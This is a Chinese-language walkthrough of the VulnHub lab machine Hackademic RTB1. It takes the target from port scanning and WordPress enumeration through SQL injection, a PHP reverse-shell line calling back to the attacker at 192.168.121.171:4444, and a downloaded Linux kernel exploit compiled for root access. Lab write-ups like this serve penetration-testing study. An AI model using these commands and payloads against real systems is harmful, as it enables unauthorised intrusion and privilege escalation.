靶机下载链接：https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip
一、主机探测和端口扫描
nmap 192.168.121.0/24
ip:192.168.121.196
端口:22、80
二、访问80端口
发现target可点击
点击后跳转，页面提示目标是读取到 key.txt 文件
findsomething插件 查看网站的js接口
拼接 /Hackademic_RTB1/?feed=rss 看到 wordpress 版本
三、目录扫描
dirb http://192.168.121.196/
前面发现为 wordpress，kali 使用 wpscan 扫描网站
wpscan --url http://192.168.121.196
其中发现了一个路径 http://192.168.23.143/Hackademic_RTB1/wp-content/themes/starburst/style.css
可以看到 wp-content 位置，尝试将其修改为 wordpress的默认路径wp-admin，发现后台登录页面
使用 wpscan 扫描用户
使用 cewl 爬取网站密码文本
cewl 192.168.121.196 -w pass.txt
密码未能成功爆破
我们回到findsomething中，发现url中携带参数
可以进行sql注入
首先测cat参数，发现存在sql注入
dump 下数据，获取账号密码
挨个登录，登录GeorgeMiller发现插件里面能直接修改php代码，我们添加phpinfo，发现成功解析
四、get shell
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.121.171/4444 0>&1'");
kali开启监听，访问hello.php文件，成功反弹shell
五、提权
使用 python 启用交互式shell
sudo -l
查看当前权限，发现需要密码
查看内核版本
uname -a
搜一下相关版本的提权漏洞
searchsploit linux kernel 2.6.3
排除一些其他 linux 操作系统，精确版本，尝试后发现 15285.c 可利用
searchsploit -m 15285
开启一个临时 web 服务，靶机将其下载到 tmp 目录下
python3 -m http.server
wget http://192.168.121.171:8000/15285.c
进行编译后，执行文件，提权成功
gcc 15285.c -o 15285
./15285
